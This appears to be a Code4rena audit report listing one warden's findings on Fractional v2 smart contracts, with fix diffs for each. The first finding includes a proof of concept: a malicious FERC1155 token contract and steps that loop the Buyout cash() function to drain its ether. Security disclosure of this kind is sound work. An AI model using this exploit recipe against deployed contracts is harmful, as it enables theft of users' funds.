Fractional v2 contest - jonatascm's results

Lines of code

https://github.com/code-423n4/2022-07-fractional/blob/main/src/modules/Buyout.sol#L244-L273

Vulnerability details

Impact

A malicious user can deploy custom FERC1155 contract, create a vault and get all funds from Buyou through cash functionality.

The cash function uses the calculation to withdraw the user’s eth:

(tokenBalance * ethBalance) / (totalSupply + tokenBalance)

The cash function don't update ethBalance for the vault, so you can manipulate the FERC1155 to get values from this enabling to run the cash function in a loop until remove all eth from contract.

Proof of Concept

1. Given a malicious FERC1155 contract, with some modifications in these functions:

contract MaliciousFERC1155 is Clone, ERC1155, IFERC1155 {
  function setTotalSupply(uint256 _id, uint256 _amount) external {
      totalSupply[_id] = _amount;
  }

  function burn(
      address _from,
      uint256 _id,
      uint256 _amount
  ) external {
  }

  function mint(
      address _to,
      uint256 _id,
      uint256 _amount,
      bytes memory _data
  ) external {
      _mint(_to, _id, _amount, _data);
      totalSupply[_id] += _amount;
  }

  function transferController(address _newController)
      external
  {
      if (_newController == address(0)) revert ZeroAddress();
      _controller = _newController;
      emit ControllerTransferred(_newController);
  }

  function controller() public view returns (address controllerAddress) {
      _controller == address(0)
          ? controllerAddress = INITIAL_CONTROLLER()
          : controllerAddress = _controller;
  }
	
	... rest of functions from FERC1155
}

1. The user create a vault, using the malicious contract:

IFERC1155(maliciousToken).transferController(maliciousUser.addr);
vault = maliciousUser.registry.createInCollection(
  merkleRoot,
  maliciousToken,
  nftReceiverPlugins,
  nftReceiverSelectors
);

1. The user start a auction with created vault:

maliciousUser.buyoutModule.start{value: 1 ether}(vault);

1. Another malicious contract can sell fractions and complete auction after period:

alice.buyoutModule.sellFractions(vault, 5000);
vm.warp(buyoutModule.REJECTION_PERIOD() + 1);
maliciousUser.buyoutModule.end(vault, burnProof);

1. Mint more tokens and set total supply to 0.

IFERC1155(maliciousToken).mint(maliciousUser.addr, 1, TOTAL_SUPPLY, data);
maliciousUser.maliciousFerc1155.setTotalSupply(1,0);

1. After the period the malicious user can withdraw the funds from Buyout following the logic:

//You can calculate the minimum balance that you can withdraw
// but for simplicity we're going to set it to 0
while(address(buyout).balance > 0) {
	//Each time this function is execute will withdraw some eth from buyout contract
	maliciousUser.buyoutModule.cash(vault, burnProof);
}

Recommended Mitigation Steps

To mitigate this issue you'll need to update the ethBalance from buyInfo:

...
// Executes burn of fractional tokens from caller
IVault(payable(_vault)).execute(supply, data, _burnProof);

// Transfers buyout share amount to caller based on total supply
uint256 totalSupply = IVaultRegistry(registry).totalSupply(_vault);
uint256 buyoutShare = (tokenBalance * ethBalance) /
    (totalSupply + tokenBalance);

+ // Let the buytShare to maximum of ethBalance 
+ // in case the user try to manipulate the value
+ if(buyoutShare > ethBalance) buyoutShare = ethBalance; 
+ buyoutInfo[_vault].ethBalance -= buyoutShare;

_sendEthOrWeth(msg.sender, buyoutShare);
// Emits event for cashing out of buyout pool
emit Cash(_vault, msg.sender, buyoutShare);

Lines of code

https://github.com/code-423n4/2022-07-fractional/blob/main/src/modules/Migration.sol#L433-L482

Vulnerability details

Impact

After a successful proposal to change the vault, any user can run multiple times the function migrateFractions getting all FERC1155 tokens from the new contract and then manipulates a new buyout to withdraw the vault token ERC20 or ERC721

There isn't any check that prevents a user to run migrateFractions multiples times, you should update the variables that calculate the shareAmount to fix this issue.

Recommended Mitigation Steps

Is recommended to follow this code to fix the issue:

function migrateFractions(address _vault, uint256 _proposalId) external {
...
	uint256 shareAmount = (balanceContributedInEth * newTotalSupply) /
    totalInEth;

+ userProposalEth[_proposalId][msg.sender] = 0
+ userProposalFractions[_proposalId][msg.sender] = 0

  // Transfers fractional tokens to caller based on share amount
  IFERC1155(token).safeTransferFrom(
    address(this),
    msg.sender,
    newFractionId,
    shareAmount,
    ""
  );
}

User can have their eth and fraction locked for some time inside Migration contract

Target codebase

Migration.sol#L105-L136

Impact

If a user by mistake join using a _proposalId that isn't created yet, and the vault start new auction while the auction still active. The user funds will be locked inside the Migration contract until auction finish

Recommended Mitigation Steps

To fix this issue is recommended to add a check if proposal is already running:

1. If proposal not exists the startTime = 0
2. If proposal already finished the block.timestamp > proposal.startTime + PROPOSAL_PERIOD

function join(
  address _vault,
  uint256 _proposalId,
  uint256 _amount
) external payable nonReentrant {
  ...
  // Gets the migration proposal for the given ID
  Proposal storage proposal = migrationInfo[_vault][_proposalId];

+ if(proposal.startTime == 0)
+   revert ProposalNotStarted();
+ if(block.timestamp > proposal.startTime + PROPOSAL_PERIOD)
+   revert ProposalOver();

  // Updates ether balances of the proposal and caller
  proposal.totalEth += msg.value;
  ...
}

---

The user may lose all tokens by calling redeem in a vault without started auction

Target codebase

Buyout.sol#L278-L303

Impact

After register a vault in VaultRegistry contract some user with total token supply could call redeem function in Buyout contract without start an auction, losing all tokens.

Proof of Concept

After a user create a vault in VaultRegistry is possible to call the function redeem in Buyout contract without starting the auction:

function redeem(address _vault, bytes32[] calldata _burnProof) external {
+ // The current state is INACTIVE because the user don't create any auction
  (, , State current, , , ) = this.buyoutInfo(_vault);
  State required = State.INACTIVE;
  if (current != required) revert InvalidState(required, current);

  // Initializes vault transaction
  uint256 totalSupply = IVaultRegistry(registry).totalSupply(_vault);
  bytes memory data = abi.encodeCall(
      ISupply.burn,
      (msg.sender, totalSupply)
  );
  // Executes burn of fractional tokens from caller
+ //If the total tokens of the user is the total supply of vault
+ //the burn function is executed in vault
  IVault(payable(_vault)).execute(supply, data, _burnProof);

  // Sets buyout state to successful and proposer to caller
  (buyoutInfo[_vault].state, buyoutInfo[_vault].proposer) = (
      State.SUCCESS,
      msg.sender
  );
  // Emits event for redeem underlying assets from the vault
  emit Redeem(_vault, msg.sender);
}

Recommended Mitigation Steps

To fix this issue is recommended to add another variable to Auction structure, to check if an auction was executed, like this code:

struct Auction {
  // Time of when buyout begins
  uint256 startTime;
  // Address of proposer creating buyout
  address proposer;
  // Enum state of the buyout auction
  State state;
  // Price of fractional tokens
  uint256 fractionPrice;
  // Balance of ether in buyout pool
  uint256 ethBalance;
  // Total supply recorded before a buyout started
  uint256 lastTotalSupply;
+ // Boolean to check is auction already started
+	bool started;
}

---

Should check constructor variables before assign

Target codebase

Minter.sol#L18

Supply.sol#L17

BaseVault.sol#L25

Impact

Is possible to create the contracts without setting the corrects immutable variables.

Recommended Mitigation Steps

Should check for variables in constructor, example:

constructor(
  address _addr
) {
+ if(_addr == address(0)) revert INVALID_PARAM();
  addr = _addr;
}

Change variables to immutable

Target codebase

VaultFactory.sol#L15

Buyout.sol#L29-L33

BaseVault.sol#L19

Minter.sol#L14

Migration.sol#L37-L39

Impact

Variables declared as immutable saves gas

Recommended Mitigation Steps

- uint256 public variable;
+ uint256 public immutable variable;

---

Optimize loops in code

Target codebase

Vault.sol#L78-L80

Vault.sol#L104-L106

BaseVault.sol#L64-L69

BaseVault.sol#L83-L88

BaseVault.sol#L107-L115

MerkleBase.sol#L50-L54

Impact

Most of all loops in project aren't optimized

Recommended Mitigation Steps

Fix all loops following the steps:

1. Cache array length
2. change _i ++ for unchecked
3. not initialize _i = 0

- for (uint256 _i = 0; _i < array.length(); _i++) {...}
+ uint256 length = array.length();
+ for (uint256 _i; _i < length;){
+   ...
+   unchecked { ++_i; }
+ }